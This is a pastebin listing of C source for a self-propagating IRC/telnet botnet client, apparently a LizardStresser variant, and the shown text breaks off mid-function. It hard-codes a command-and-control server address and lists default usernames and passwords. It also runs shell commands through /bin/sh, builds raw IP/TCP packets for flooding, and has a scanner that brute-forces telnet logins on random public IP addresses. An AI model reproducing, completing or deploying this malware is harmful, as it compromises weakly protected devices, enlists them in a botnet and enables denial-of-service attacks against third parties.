Advertisement
ZucoCheezy

Chippy1337-Client

Dec 1st, 2018
201
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 50.11 KB | None | 0 0
  1. /*
  2.   Chippy1337 and @packetprophet present:
  3.   LizardStresser rekt
  4.   This is the cross compiled bot
  5.  
  6.   LICENSE AGREEMENT:
  7.     If you lulz'd, you must sent BTC to
  8.     121cywjXYCUSL2qN7MnQAzSHNsWotUrea7
  9.  
  10.   Death to skids
  11. */
  12.  
  13. /*
  14.         THIS IS A BOT. AN IRC BOT.
  15.         YOU WILL LIKE THIS BOT AND THIS BOT WILL LIKE YOU.
  16.         IT IS VERY TINY AND WILL NOT TAKE UP MUCH OF YOUR SPACE AND TIME.
  17.         IT IS A VERY UNIVERSAL BOT. IT WILL WORK ON ALMOST ANYTHING YOU WANT IT TO WORK ON.
  18.         THIS IS A BOT. AN IRC BOT.
  19. */
  20.  
  21.  
  22.  
  23. //     ___      __ _
  24. //    /   \___ / _(_)_ __   ___  ___
  25. //   / /\ / _ \ |_| | '_ \ / _ \/ __|
  26. //  / /_//  __/  _| | | | |  __/\__ \
  27. // /___,' \___|_| |_|_| |_|\___||___/
  28.  
  29. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  30. #define PAD_RIGHT 1
  31. #define PAD_ZERO 2
  32. #define PRINT_BUF_LEN 12
  33. #define CMD_IAC   255
  34. #define CMD_WILL  251
  35. #define CMD_WONT  252
  36. #define CMD_DO    253
  37. #define CMD_DONT  254
  38. #define OPT_SGA   3
  39.  
  40. //   _____            _           _
  41. //   \_   \_ __   ___| |_   _  __| | ___  ___
  42. //    / /\/ '_ \ / __| | | | |/ _` |/ _ \/ __|
  43. // /\/ /_ | | | | (__| | |_| | (_| |  __/\__ \
  44. // \____/ |_| |_|\___|_|\__,_|\__,_|\___||___/
  45.  
  46. #include <stdlib.h>
  47. #include <stdarg.h>
  48. #include <stdio.h>
  49. #include <sys/socket.h>
  50. #include <sys/types.h>
  51. #include <netinet/in.h>
  52. #include <arpa/inet.h>
  53. #include <netdb.h>
  54. #include <signal.h>
  55. #include <strings.h>
  56. #include <string.h>
  57. #include <sys/utsname.h>
  58. #include <unistd.h>
  59. #include <fcntl.h>
  60. #include <errno.h>
  61. #include <netinet/ip.h>
  62. #include <netinet/udp.h>
  63. #include <netinet/tcp.h>
  64. #include <sys/wait.h>
  65. #include <sys/ioctl.h>
  66. #include <net/if.h>
  67.  
  68. //    ___             __ _
  69. //   / __\___  _ __  / _(_) __ _
  70. //  / /  / _ \| '_ \| |_| |/ _` |
  71. // / /__| (_) | | | |  _| | (_| |
  72. // \____/\___/|_| |_|_| |_|\__, |
  73. //                         |___/
  74.  
  75. unsigned char *commServer[] =
  76. {
  77.     "46.166.185.141:4400"
  78. };
  79.  
  80. //    ___                 _
  81. //   / __\   _ _ __   ___| |_(_) ___  _ __  ___
  82. //  / _\| | | | '_ \ / __| __| |/ _ \| '_ \/ __|
  83. // / /  | |_| | | | | (__| |_| | (_) | | | \__ \
  84. // \/    \__,_|_| |_|\___|\__|_|\___/|_| |_|___/
  85.  
  86. int initConnection();
  87. int getBogos(unsigned char *bogomips);
  88. int getCores();
  89. int getCountry(unsigned char *buf, int bufsize);
  90. void makeRandomStr(unsigned char *buf, int length);
  91. int sockprintf(int sock, char *formatStr, ...);
  92. char *inet_ntoa(struct in_addr in);
  93.  
  94. //    ___ _       _           _
  95. //   / _ \ | ___ | |__   __ _| |___
  96. //  / /_\/ |/ _ \| '_ \ / _` | / __|
  97. // / /_\\| | (_) | |_) | (_| | \__ \
  98. // \____/|_|\___/|_.__/ \__,_|_|___/
  99.  
  100. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  101. uint32_t *pids;
  102. uint32_t scanPid;
  103. uint64_t numpids = 0;
  104. struct in_addr ourIP;
  105. unsigned char macAddress[6] = {0};
  106. char *usernames[] = {"root\0", "\0", "admin\0", "user\0", "login\0", "guest\0"};
  107. char *passwords[] = {"root\0", "\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "pass\0", "password\0"};
  108.  
  109. //    ___  ___  __      __  ___
  110. //   / __\/ _ \/__\  /\ \ \/ _ \
  111. //  / _\ / /_)/ \// /  \/ / /_\/
  112. // / /  / ___/ _  \/ /\  / /_\\
  113. // \/   \/   \/ \_/\_\ \/\____/
  114.  
  115. #define PHI 0x9e3779b9
  116. static uint32_t Q[4096], c = 362436;
  117.  
  118. void init_rand(uint32_t x)
  119. {
  120.     int i;
  121.  
  122.     Q[0] = x;
  123.     Q[1] = x + PHI;
  124.     Q[2] = x + PHI + PHI;
  125.  
  126.     for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  127. }
  128.  
  129. uint32_t rand_cmwc(void)
  130. {
  131.     uint64_t t, a = 18782LL;
  132.     static uint32_t i = 4095;
  133.     uint32_t x, r = 0xfffffffe;
  134.     i = (i + 1) & 4095;
  135.     t = a * Q[i] + c;
  136.     c = (uint32_t)(t >> 32);
  137.     x = t + c;
  138.     if (x < c) {
  139.         x++;
  140.         c++;
  141.     }
  142.     return (Q[i] = r - x);
  143. }
  144.  
  145. //        _   _ _
  146. //  /\ /\| |_(_) |___
  147. // / / \ \ __| | / __|
  148. // \ \_/ / |_| | \__ \
  149. //  \___/ \__|_|_|___/
  150.  
  151. void trim(char *str)
  152. {
  153.     int i;
  154.     int begin = 0;
  155.     int end = strlen(str) - 1;
  156.  
  157.     while (isspace(str[begin])) begin++;
  158.  
  159.     while ((end >= begin) && isspace(str[end])) end--;
  160.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  161.  
  162.     str[i - begin] = '\0';
  163. }
  164.  
  165. static void printchar(unsigned char **str, int c)
  166. {
  167.     if (str) {
  168.         **str = c;
  169.         ++(*str);
  170.     }
  171.     else (void)write(1, &c, 1);
  172. }
  173.  
  174. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  175. {
  176.     register int pc = 0, padchar = ' ';
  177.  
  178.     if (width > 0) {
  179.         register int len = 0;
  180.         register const unsigned char *ptr;
  181.         for (ptr = string; *ptr; ++ptr) ++len;
  182.         if (len >= width) width = 0;
  183.         else width -= len;
  184.         if (pad & PAD_ZERO) padchar = '0';
  185.     }
  186.     if (!(pad & PAD_RIGHT)) {
  187.         for ( ; width > 0; --width) {
  188.             printchar (out, padchar);
  189.             ++pc;
  190.         }
  191.     }
  192.     for ( ; *string ; ++string) {
  193.         printchar (out, *string);
  194.         ++pc;
  195.     }
  196.     for ( ; width > 0; --width) {
  197.         printchar (out, padchar);
  198.         ++pc;
  199.     }
  200.  
  201.     return pc;
  202. }
  203.  
  204. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  205. {
  206.     unsigned char print_buf[PRINT_BUF_LEN];
  207.     register unsigned char *s;
  208.     register int t, neg = 0, pc = 0;
  209.     register unsigned int u = i;
  210.  
  211.     if (i == 0) {
  212.         print_buf[0] = '0';
  213.         print_buf[1] = '\0';
  214.         return prints (out, print_buf, width, pad);
  215.     }
  216.  
  217.     if (sg && b == 10 && i < 0) {
  218.         neg = 1;
  219.         u = -i;
  220.     }
  221.  
  222.     s = print_buf + PRINT_BUF_LEN-1;
  223.     *s = '\0';
  224.  
  225.     while (u) {
  226.         t = u % b;
  227.         if( t >= 10 )
  228.         t += letbase - '0' - 10;
  229.         *--s = t + '0';
  230.         u /= b;
  231.     }
  232.  
  233.     if (neg) {
  234.         if( width && (pad & PAD_ZERO) ) {
  235.             printchar (out, '-');
  236.             ++pc;
  237.             --width;
  238.         }
  239.         else {
  240.             *--s = '-';
  241.         }
  242.     }
  243.  
  244.     return pc + prints (out, s, width, pad);
  245. }
  246.  
  247. static int print(unsigned char **out, const unsigned char *format, va_list args )
  248. {
  249.     register int width, pad;
  250.     register int pc = 0;
  251.     unsigned char scr[2];
  252.  
  253.     for (; *format != 0; ++format) {
  254.         if (*format == '%') {
  255.             ++format;
  256.             width = pad = 0;
  257.             if (*format == '\0') break;
  258.             if (*format == '%') goto out;
  259.             if (*format == '-') {
  260.                 ++format;
  261.                 pad = PAD_RIGHT;
  262.             }
  263.             while (*format == '0') {
  264.                 ++format;
  265.                 pad |= PAD_ZERO;
  266.             }
  267.             for ( ; *format >= '0' && *format <= '9'; ++format) {
  268.                 width *= 10;
  269.                 width += *format - '0';
  270.             }
  271.             if( *format == 's' ) {
  272.                 register char *s = (char *)va_arg( args, int );
  273.                 pc += prints (out, s?s:"(null)", width, pad);
  274.                 continue;
  275.             }
  276.             if( *format == 'd' ) {
  277.                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  278.                 continue;
  279.             }
  280.             if( *format == 'x' ) {
  281.                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  282.                 continue;
  283.             }
  284.             if( *format == 'X' ) {
  285.                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  286.                 continue;
  287.             }
  288.             if( *format == 'u' ) {
  289.                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  290.                 continue;
  291.             }
  292.             if( *format == 'c' ) {
  293.                 scr[0] = (unsigned char)va_arg( args, int );
  294.                 scr[1] = '\0';
  295.                 pc += prints (out, scr, width, pad);
  296.                 continue;
  297.             }
  298.         }
  299.         else {
  300. out:
  301.             printchar (out, *format);
  302.             ++pc;
  303.         }
  304.     }
  305.     if (out) **out = '\0';
  306.     va_end( args );
  307.     return pc;
  308. }
  309.  
  310. int zprintf(const unsigned char *format, ...)
  311. {
  312.     va_list args;
  313.     va_start( args, format );
  314.     return print( 0, format, args );
  315. }
  316.  
  317. int szprintf(unsigned char *out, const unsigned char *format, ...)
  318. {
  319.     va_list args;
  320.     va_start( args, format );
  321.     return print( &out, format, args );
  322. }
  323.  
  324.  
  325. int sockprintf(int sock, char *formatStr, ...)
  326. {
  327.     unsigned char *textBuffer = malloc(2048);
  328.     memset(textBuffer, 0, 2048);
  329.     char *orig = textBuffer;
  330.     va_list args;
  331.     va_start(args, formatStr);
  332.     print(&textBuffer, formatStr, args);
  333.     va_end(args);
  334.     orig[strlen(orig)] = '\n';
  335.     zprintf("buf: %s\n", orig);
  336.     int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  337.     free(orig);
  338.     return q;
  339. }
  340.  
  341. static int *fdopen_pids;
  342.  
  343. int fdpopen(unsigned char *program, register unsigned char *type)
  344. {
  345.     register int iop;
  346.     int pdes[2], fds, pid;
  347.  
  348.     if (*type != 'r' && *type != 'w' || type[1]) return -1;
  349.  
  350.     if (pipe(pdes) < 0) return -1;
  351.     if (fdopen_pids == NULL) {
  352.         if ((fds = getdtablesize()) <= 0) return -1;
  353.         if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  354.         memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  355.     }
  356.  
  357.     switch (pid = vfork())
  358.     {
  359.     case -1:
  360.         close(pdes[0]);
  361.         close(pdes[1]);
  362.         return -1;
  363.     case 0:
  364.         if (*type == 'r') {
  365.             if (pdes[1] != 1) {
  366.                 dup2(pdes[1], 1);
  367.                 close(pdes[1]);
  368.             }
  369.             close(pdes[0]);
  370.         } else {
  371.             if (pdes[0] != 0) {
  372.                 (void) dup2(pdes[0], 0);
  373.                 (void) close(pdes[0]);
  374.             }
  375.             (void) close(pdes[1]);
  376.         }
  377.         execl("/bin/sh", "sh", "-c", program, NULL);
  378.         _exit(127);
  379.     }
  380.     if (*type == 'r') {
  381.         iop = pdes[0];
  382.         (void) close(pdes[1]);
  383.     } else {
  384.         iop = pdes[1];
  385.         (void) close(pdes[0]);
  386.     }
  387.     fdopen_pids[iop] = pid;
  388.     return (iop);
  389. }
  390.  
  391. int fdpclose(int iop)
  392. {
  393.     register int fdes;
  394.     sigset_t omask, nmask;
  395.     int pstat;
  396.     register int pid;
  397.  
  398.     if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  399.     (void) close(iop);
  400.     sigemptyset(&nmask);
  401.     sigaddset(&nmask, SIGINT);
  402.     sigaddset(&nmask, SIGQUIT);
  403.     sigaddset(&nmask, SIGHUP);
  404.     (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  405.     do {
  406.         pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  407.     } while (pid == -1 && errno == EINTR);
  408.     (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  409.     fdopen_pids[fdes] = 0;
  410.     return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  411. }
  412.  
  413. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  414. {
  415.     int got = 1, total = 0;
  416.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  417.     return got == 0 ? NULL : buffer;
  418. }
  419.  
  420. static const long hextable[] = {
  421.     [0 ... 255] = -1,
  422.     ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  423.     ['A'] = 10, 11, 12, 13, 14, 15,
  424.     ['a'] = 10, 11, 12, 13, 14, 15
  425. };
  426.  
  427. long parseHex(unsigned char *hex)
  428. {
  429.     long ret = 0;
  430.     while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  431.     return ret;
  432. }
  433.  
  434. int wildString(const unsigned char* pattern, const unsigned char* string) {
  435.     switch(*pattern)
  436.     {
  437.     case '\0': return *string;
  438.     case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  439.     case '?': return !(*string && !wildString(pattern+1, string+1));
  440.     default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  441.     }
  442. }
  443.  
  444. int getHost(unsigned char *toGet, struct in_addr *i)
  445. {
  446.     struct hostent *h;
  447.     if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  448.     return 0;
  449. }
  450.  
  451. void uppercase(unsigned char *str)
  452. {
  453.     while(*str) { *str = toupper(*str); str++; }
  454. }
  455.  
  456. int getBogos(unsigned char *bogomips)
  457. {
  458.     int cmdline = open("/proc/cpuinfo", O_RDONLY);
  459.     char linebuf[4096];
  460.     while(fdgets(linebuf, 4096, cmdline) != NULL)
  461.     {
  462.         uppercase(linebuf);
  463.         if(strstr(linebuf, "BOGOMIPS") == linebuf)
  464.         {
  465.             unsigned char *pos = linebuf + 8;
  466.             while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  467.             while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  468.             if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  469.             strcpy(bogomips, pos);
  470.             close(cmdline);
  471.             return 0;
  472.         }
  473.         memset(linebuf, 0, 4096);
  474.     }
  475.     close(cmdline);
  476.     return 1;
  477. }
  478.  
  479. int getCores()
  480. {
  481.     int totalcores = 0;
  482.     int cmdline = open("/proc/cpuinfo", O_RDONLY);
  483.     char linebuf[4096];
  484.     while(fdgets(linebuf, 4096, cmdline) != NULL)
  485.     {
  486.         uppercase(linebuf);
  487.         if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  488.         memset(linebuf, 0, 4096);
  489.     }
  490.     close(cmdline);
  491.     return totalcores;
  492.  
  493. }
  494.  
  495. void makeRandomStr(unsigned char *buf, int length)
  496. {
  497.     int i = 0;
  498.     for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  499. }
  500.  
  501. int recvLine(int socket, unsigned char *buf, int bufsize)
  502. {
  503.     memset(buf, 0, bufsize);
  504.  
  505.     fd_set myset;
  506.     struct timeval tv;
  507.     tv.tv_sec = 30;
  508.     tv.tv_usec = 0;
  509.     FD_ZERO(&myset);
  510.     FD_SET(socket, &myset);
  511.     int selectRtn, retryCount;
  512.     if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  513.         while(retryCount < 10)
  514.         {
  515.             sockprintf(mainCommSock, "PING");
  516.  
  517.             tv.tv_sec = 30;
  518.             tv.tv_usec = 0;
  519.             FD_ZERO(&myset);
  520.             FD_SET(socket, &myset);
  521.             if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  522.                 retryCount++;
  523.                 continue;
  524.             }
  525.  
  526.             break;
  527.         }
  528.     }
  529.  
  530.     unsigned char tmpchr;
  531.     unsigned char *cp;
  532.     int count = 0;
  533.  
  534.     cp = buf;
  535.     while(bufsize-- > 1)
  536.     {
  537.         if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  538.             *cp = 0x00;
  539.             return -1;
  540.         }
  541.         *cp++ = tmpchr;
  542.         if(tmpchr == '\n') break;
  543.         count++;
  544.     }
  545.     *cp = 0x00;
  546.  
  547. //  zprintf("recv: %s\n", cp);
  548.  
  549.     return count;
  550. }
  551.  
  552. int connectTimeout(int fd, char *host, int port, int timeout)
  553. {
  554.     struct sockaddr_in dest_addr;
  555.     fd_set myset;
  556.     struct timeval tv;
  557.     socklen_t lon;
  558.  
  559.     int valopt;
  560.     long arg = fcntl(fd, F_GETFL, NULL);
  561.     arg |= O_NONBLOCK;
  562.     fcntl(fd, F_SETFL, arg);
  563.  
  564.     dest_addr.sin_family = AF_INET;
  565.     dest_addr.sin_port = htons(port);
  566.     if(getHost(host, &dest_addr.sin_addr)) return 0;
  567.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  568.     int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  569.  
  570.     if (res < 0) {
  571.         if (errno == EINPROGRESS) {
  572.             tv.tv_sec = timeout;
  573.             tv.tv_usec = 0;
  574.             FD_ZERO(&myset);
  575.             FD_SET(fd, &myset);
  576.             if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  577.                 lon = sizeof(int);
  578.                 getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  579.                 if (valopt) return 0;
  580.             }
  581.             else return 0;
  582.         }
  583.         else return 0;
  584.     }
  585.  
  586.     arg = fcntl(fd, F_GETFL, NULL);
  587.     arg &= (~O_NONBLOCK);
  588.     fcntl(fd, F_SETFL, arg);
  589.  
  590.     return 1;
  591. }
  592.  
  593. int listFork()
  594. {
  595.     uint32_t parent, *newpids, i;
  596.     parent = fork();
  597.     if (parent <= 0) return parent;
  598.     numpids++;
  599.     newpids = (uint32_t*)malloc((numpids + 1) * 4);
  600.     for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  601.     newpids[numpids - 1] = parent;
  602.     free(pids);
  603.     pids = newpids;
  604.     return parent;
  605. }
  606.  
  607. int negotiate(int sock, unsigned char *buf, int len)
  608. {
  609.     unsigned char c;
  610.  
  611.     switch (buf[1]) {
  612.     case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  613.     case CMD_WILL:
  614.     case CMD_WONT:
  615.     case CMD_DO:
  616.     case CMD_DONT:
  617.         c = CMD_IAC;
  618.         send(sock, &c, 1, MSG_NOSIGNAL);
  619.         if (CMD_WONT == buf[1]) c = CMD_DONT;
  620.         else if (CMD_DONT == buf[1]) c = CMD_WONT;
  621.         else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  622.         else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  623.         send(sock, &c, 1, MSG_NOSIGNAL);
  624.         send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  625.         break;
  626.  
  627.     default:
  628.         break;
  629.     }
  630.  
  631.     return 0;
  632. }
  633.  
  634. int matchPrompt(char *bufStr)
  635. {
  636.     char *prompts = ":>%$#\0";
  637.  
  638.     int bufLen = strlen(bufStr);
  639.     int i, q = 0;
  640.     for(i = 0; i < strlen(prompts); i++)
  641.     {
  642.         while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  643.         if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  644.     }
  645.  
  646.     return 0;
  647. }
  648.  
  649. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  650. {
  651.     int bufferUsed = initialIndex, got = 0, found = 0;
  652.     fd_set myset;
  653.     struct timeval tv;
  654.     tv.tv_sec = timeout;
  655.     tv.tv_usec = timeoutusec;
  656.     unsigned char *initialRead = NULL;
  657.  
  658.     while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  659.     {
  660.         FD_ZERO(&myset);
  661.         FD_SET(fd, &myset);
  662.         if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  663.         initialRead = buffer + bufferUsed;
  664.         got = recv(fd, initialRead, 1, 0);
  665.         if(got == -1 || got == 0) return 0;
  666.         bufferUsed += got;
  667.         if(*initialRead == 0xFF)
  668.         {
  669.             got = recv(fd, initialRead + 1, 2, 0);
  670.             if(got == -1 || got == 0) return 0;
  671.             bufferUsed += got;
  672.             if(!negotiate(fd, initialRead, 3)) return 0;
  673.         } else {
  674.             if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  675.         }
  676.     }
  677.  
  678.     if(found) return 1;
  679.     return 0;
  680. }
  681.  
  682. //   _____  ___         _   _ _
  683. //   \_   \/ _ \  /\ /\| |_(_) |___
  684. //    / /\/ /_)/ / / \ \ __| | / __|
  685. // /\/ /_/ ___/  \ \_/ / |_| | \__ \
  686. // \____/\/       \___/ \__|_|_|___/
  687.  
  688. static uint8_t ipState[5]; //starting from 1 becuz yolo
  689. in_addr_t getRandomPublicIP()
  690. {
  691.     if(ipState[1] < 255 && ipState[2] < 255 && ipState[3] < 255 && ipState[4] < 255)
  692.     {
  693.             ipState[1]++;
  694.         ipState[2]++;
  695.         ipState[3]++;
  696.         ipState[4]++;
  697.                 char ip[16];
  698.                 szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  699.         return inet_addr(ip);
  700.     }
  701.  
  702.     ipState[1] = 0;
  703.     ipState[2] = 0;
  704.         ipState[3] = 0;
  705.     ipState[4] = 0;
  706.     while(
  707.         (ipState[1] == 0) ||
  708.         (ipState[1] == 11) ||
  709.         (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
  710.         (ipState[1] == 127) ||
  711.         (ipState[1] == 169 && ipState[2] == 254) ||
  712.         (ipState[1] == 180 && (ipState[2] <= 17 && ipState[2] <= 45)) ||
  713.         (ipState[1] == 194 && ipState[2] == 0 && ipState[3] == 2) ||
  714.         (ipState[1] == 198 && ipState[2] == 88 && ipState[3] == 99) ||
  715.         (ipState[1] == 199 && ipState[2] == 168) ||
  716.         (ipState[1] == 200 && (ipState[2] == 18 || ipState[2] == 19)) ||
  717.         (ipState[1] == 201 && ipState[2] == 15 && ipState[3] == 100) ||
  718.         (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
  719.         (ipState[1] >= 226)
  720.     )
  721.     {
  722.                 ipState[1] = rand() % 255;
  723.             ipState[2] = rand() % 255;
  724.             ipState[3] = rand() % 255;
  725.         ipState[4] = rand() % 255;
  726.     }
  727.  
  728.     char ip[16];
  729.     szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  730.     return inet_addr(ip);
  731. }
  732.  
  733. in_addr_t getRandomIP(in_addr_t netmask)
  734. {
  735.     in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  736.     return tmp ^ ( rand_cmwc() & ~netmask);
  737. }
  738.  
  739. unsigned short csum (unsigned short *buf, int count)
  740. {
  741.     register uint64_t sum = 0;
  742.     while( count > 1 ) { sum += *buf++; count -= 2; }
  743.     if(count > 0) { sum += *(unsigned char *)buf; }
  744.     while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  745.     return (uint16_t)(~sum);
  746. }
  747.  
  748. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  749. {
  750.  
  751.     struct tcp_pseudo
  752.     {
  753.         unsigned long src_addr;
  754.         unsigned long dst_addr;
  755.         unsigned char zero;
  756.         unsigned char proto;
  757.         unsigned short length;
  758.     } pseudohead;
  759.     unsigned short total_len = iph->tot_len;
  760.     pseudohead.src_addr=iph->saddr;
  761.     pseudohead.dst_addr=iph->daddr;
  762.     pseudohead.zero=0;
  763.     pseudohead.proto=IPPROTO_TCP;
  764.     pseudohead.length=htons(sizeof(struct tcphdr));
  765.     int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  766.     unsigned short *tcp = malloc(totaltcp_len);
  767.     memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  768.     memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  769.     unsigned short output = csum(tcp,totaltcp_len);
  770.     free(tcp);
  771.     return output;
  772. }
  773.  
  774. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  775. {
  776.     iph->ihl = 5;
  777.     iph->version = 4;
  778.     iph->tos = 0;
  779.     iph->tot_len = sizeof(struct iphdr) + packetSize;
  780.     iph->id = rand_cmwc();
  781.     iph->frag_off = 0;
  782.     iph->ttl = MAXTTL;
  783.     iph->protocol = protocol;
  784.     iph->check = 0;
  785.     iph->saddr = source;
  786.     iph->daddr = dest;
  787. }
  788.  
  789. int sclose(int fd)
  790. {
  791.     if(3 > fd) return 1;
  792.     close(fd);
  793.     return 0;
  794. }
  795.  
  796. //  _____     _            _     __                                   _      _
  797. // /__   \___| |_ __   ___| |_  / _\ ___ __ _ _ __  _ __   ___ _ __  | | ___| |
  798. //   / /\/ _ \ | '_ \ / _ \ __| \ \ / __/ _` | '_ \| '_ \ / _ \ '__| | |/ _ \ |
  799. //  / / |  __/ | | | |  __/ |_  _\ \ (_| (_| | | | | | | |  __/ |    | |  __/ |
  800. //  \/   \___|_|_| |_|\___|\__| \__/\___\__,_|_| |_|_| |_|\___|_|    |_|\___|_|
  801.  
  802. void StartTheLelz()
  803. {
  804.     int max = (getdtablesize() / 4) * 3, i, res;
  805.     fd_set myset;
  806.     struct timeval tv;
  807.     socklen_t lon;
  808.     int valopt;
  809.  
  810.     max = max > 512 ? 512 : max;
  811.  
  812.     struct sockaddr_in dest_addr;
  813.     dest_addr.sin_family = AF_INET;
  814.     dest_addr.sin_port = htons(23);
  815.     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  816.  
  817.     struct telstate_t
  818.     {
  819.         int fd;
  820.         uint32_t ip;
  821.         uint8_t state;
  822.         uint8_t complete;
  823.         uint8_t usernameInd;
  824.         uint8_t passwordInd;
  825.         uint32_t totalTimeout;
  826.         uint16_t bufUsed;
  827.         char *sockbuf;
  828.     } fds[max];
  829.     memset(fds, 0, max * (sizeof(int) + 1));
  830.     for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  831.     struct timeval timeout;
  832.     timeout.tv_sec = 5;
  833.     timeout.tv_usec = 0;
  834.  
  835.     while(1)
  836.     {
  837.         for(i = 0; i < max; i++)
  838.         {
  839.             switch(fds[i].state)
  840.             {
  841.             case 0:
  842.                 {
  843.                     memset(fds[i].sockbuf, 0, 1024);
  844.  
  845.                     if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  846.                     else {
  847.                         fds[i].passwordInd++;
  848.                         if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  849.                         if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  850.                     }
  851.                     dest_addr.sin_family = AF_INET;
  852.                     dest_addr.sin_port = htons(23);
  853.                     memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  854.                     dest_addr.sin_addr.s_addr = fds[i].ip;
  855.                     fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  856.                     setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  857.                     setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
  858.                     if(fds[i].fd == -1) { continue; }
  859.                     fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  860.                     if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { sclose(fds[i].fd); fds[i].complete = 1; }
  861.                     else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  862.                 }
  863.                 break;
  864.  
  865.             case 1:
  866.                 {
  867.                     if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  868.  
  869.                     FD_ZERO(&myset);
  870.                     FD_SET(fds[i].fd, &myset);
  871.                     tv.tv_sec = 0;
  872.                     tv.tv_usec = 10000;
  873.                     res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  874.                     if(res == 1)
  875.                     {
  876.                         lon = sizeof(int);
  877.                         valopt = 0;
  878.                         getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  879.                         if(valopt)
  880.                         {
  881.                             sclose(fds[i].fd);
  882.                             fds[i].state = 0;
